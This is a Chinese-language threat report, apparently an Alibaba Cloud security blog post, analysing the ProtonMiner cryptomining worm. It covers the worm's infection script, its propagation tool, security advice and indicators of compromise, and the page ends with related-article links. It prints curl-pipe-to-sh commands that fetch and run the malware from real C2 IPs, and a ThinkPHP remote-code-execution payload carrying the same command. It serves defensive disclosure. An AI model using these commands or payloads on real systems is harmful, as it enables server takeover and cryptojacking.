背景

近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。但与先前报导不同的是,二月中旬,该挖矿蠕虫扩大了攻击面,从仅攻击ElasticSearch这一种服务,变为攻击包括Redis, Weblogic在内的多种服务,传播速度大大加快。

本文着重描写该挖矿僵尸网络的传播手法,并在文末列出了安全建议,以帮助用户避免遭受感染,或在已被感染的情况下进行清理。

感染路径

攻击者先控制被感染主机执行以下两条命令之一,从而下载并运行uuu.sh。

/bin/bash -c curl -fsSL http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

/bin/bash -c curl -fsSL http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

而uuu.sh脚本运行后,将继续下载挖矿程序和配置文件用于挖矿,以及下载蠕虫木马用于继续攻击未感染主机。

“谨慎”的入侵脚本

入侵脚本uuu.sh,首先会通过试着写入"/etc/devtools"目录,来判断当前账户是否拥有root权限;脚本的大部分功能,只有当前账号具有root权限时才会运行。

#!/bin/sh

echo 1 > /etc/devtools

if [ -f "$rtdir" ]

    then

        echo "i am root"

        echo "goto 1" >> /etc/devtools

 # download & attack

fi

该脚本具有典型挖矿事件中恶意脚本的特征:检查并杀死其他僵尸网络的进程、将自身写入系统crontab文件、修改iptables设置从而允许某些端口上的通信等。然而这一脚本的作者或许更加谨慎:

1.在脚本最后,攻击者清空了命令历史记录

2.在挖矿配置文件中,攻击者使用了多个ProtonMail邮箱地址作为连接到矿池的用户名。ProtonMail是世界最大的安全邮件服务提供商,ProtonMiner也是因此而得名。这种使用邮箱地址,而非门罗币钱包地址作为矿池用户名的做法很好地“保护”了攻击者的隐私,也为安全工作者们判断该僵尸网络的规模和收益情况增加了难度。

传播分析

ProtonMiner的横向传播程序名为"systemctI",是一个由Go语言编译的程序。它的main函数如下图所示:

该程序在运行时,会首先通过_tmp_exe_linx_ipc_Init_ip等方法对要扫描的ip和使用的弱密码进行初始化。过程中会请求并下载以下两个地址的文件。

https://pixeldra.in/api/download/I9RRye (ip地址c段列表)
https://pixeldra.in/api/download/-7A5aP (弱密码列表)

之后程序会进入main_Scan函数,该函数包含大量的扫描和漏洞利用相关子函数。

下表列出了受到该挖矿僵尸网络影响的服务和漏洞:

例如一个ThinkPHP 的payload:

POST /index.php?s=captcha HTTP/1.1%0d%0aHost: ...%0d%0aUser-Agent: Go-http-client/1.1%0d%0aContent-Length:132%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept-Encoding:gzip%0d%0a%0d%0a_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=url -fsSLhttp://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

ProtonMiner僵尸网络扩大攻击面之后,传播速度有了显著的提升。从下图可以看出,进入2月份以来,攻击量快速上升,并在2月中旬达到高峰,阿里云观察到已有上千台主机受到感染:

安全建议

  1. 不要用root账户启动数据库、网站服务器等服务,因为root启动的服务一旦被成功入侵,攻击者将拥有被入侵主机的所有权限。此外,像Redis和Hadoop这些主要是内部使用的服务,不应暴露在公网上。
  2. 挖矿僵尸网络更新速度非常快,它们部分导致了互联网上无处不在的威胁。您可以使用云防火墙服务,检测、拦截、并保护客户避免感染。
  3. 如果你关注自身业务的网络安全却又雇不起一名安全工程师,那么你可以试试阿里云的安全管家产品,让阿里云的安全专家来给你恰当的帮助,例如协助你清除已存在的病毒、木马等。

IOC

C&C服务器:

45.76.122.92

207.148.70.143

恶意文件:

矿池地址:

xmr.pool.minergate.com:45700

使用的账号(邮箱)名:

xjkhjjkasd@protonmail.com

dashcoin230cdd@protonmail.com

alksjewio@protonmail.com

23odi093dd@protonmail.com

olpeplckdd3@protonmail.com

参考

https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-spreads-via-old-vulnerabilities-on-elasticsearch/​​​​

原文链接
更多技术干货 请关注阿里云云栖社区微信号 :yunqiinsight

威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播的更多相关文章

  1. 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库

    概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...

  2. ProtonMiner挖矿蠕虫

    特征 ProtonMail邮箱地址 利用漏洞 服务 漏洞 Hadoop 未授权访问 Drupal CVE-2018-7600 Redis 未授权访问 Spring Data Commons CVE-2 ...

  3. 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟

    近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...

  4. 威胁快报|Solr dataimport成挖矿团伙新型利用方式

    概述 近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利.该团伙使用的恶 ...

  5. 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利

    一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...

  6. 威胁预警|首现新型RDPMiner挖矿蠕虫 受害主机易被添加恶意账户

    近日,阿里云安全发现一种新型挖矿蠕虫RDPMiner,通过爆破Windows Server 3389端口RDP服务的方式进行挖矿木马传播,致使用户CPU占用率暴涨,机器卡顿,更被创建名为Default ...

  7. 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起

    近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...

  8. JbossMiner 挖矿蠕虫分析 (转载)

    前言 从2013年的诞生,到2016爆发,挖矿(MiningCryptocurrency) 的高回报率,使其成为了一把双刃剑.据外媒去年的统计,比特币的算力(Hash Rate)已在半年内翻了一翻. ...

  9. [转帖]Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染

    Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染 https://www.kubernetes.org.cn/5951.html 本来想说可以用 official版本的镜像 但是一 ...

随机推荐

  1. Java编译与反编译命令记录

    1.首先进入java文件所在的地址 1) e:/ 2) dir     (显示所有文件) 3) cd eclipse-workspace 2.使用javac命令编译Test.java文件,得到Test ...

  2. js new运算符

    用代码模拟这个逻辑就是

  3. java_缓冲流(字节输出流)

    缓冲流分为: 字节缓冲流:BufferedIntputSream(字节缓冲输出流),BufferdOutputStream(字节缓冲输入流) 字符缓冲流:BufferedReader(字符输入缓冲流) ...

  4. java笔试之字符逆序(一)

    将一个字符串str的内容颠倒过来,并输出.str的长度不超过100个字符. 如:输入“I am a student”,输出“tneduts a ma I”. package test; import ...

  5. MyBatis与Hibernate

    Mybatis和hibernate不同,它不完全是一个ORM框架,因为MyBatis需要程序员自己编写Sql语句.mybatis可以通过XML或注解方式灵活配置要运行的sql语句,并将java对象和s ...

  6. UVA - 11327

    UVA - 11327https://vjudge.net/problem/28358/origin求欧拉函数的前缀和,二分查找到那个位置,再从它开始暴力gcd找 #include <iostr ...

  7. 在python2中的编码

    在python2中的编码 #_author:star#date:2019/10/29'''字符编码:ASCII:只能存英文和拉丁字符,gb2312:只能6700中文,1980年gbk1.0:存了200 ...

  8. sudo apt-get常用命令

    一.卸载 1. sudo apt-get autoclean 如果你的硬盘空间不大的话,可以定期运行这个程序,将已经删除了的软件包的.deb安装文件从硬盘中删除掉.如果你仍然需要硬盘空间的话,可以试试 ...

  9. java 获取本机所有IP地址

    import java.net.Inet6Address; import java.net.InetAddress; import java.net.NetworkInterface; import ...

  10. vue中使用watch函数,当数据改变时自动引发事件

    本来我的需求是这样的,使用ElementUI的日期选择器,当日期选择器被更改时需要根据新日期来向服务器获取新数据,但是发现这个日期选择器没有change事件,后来终于发现vue有个watch函数就是用 ...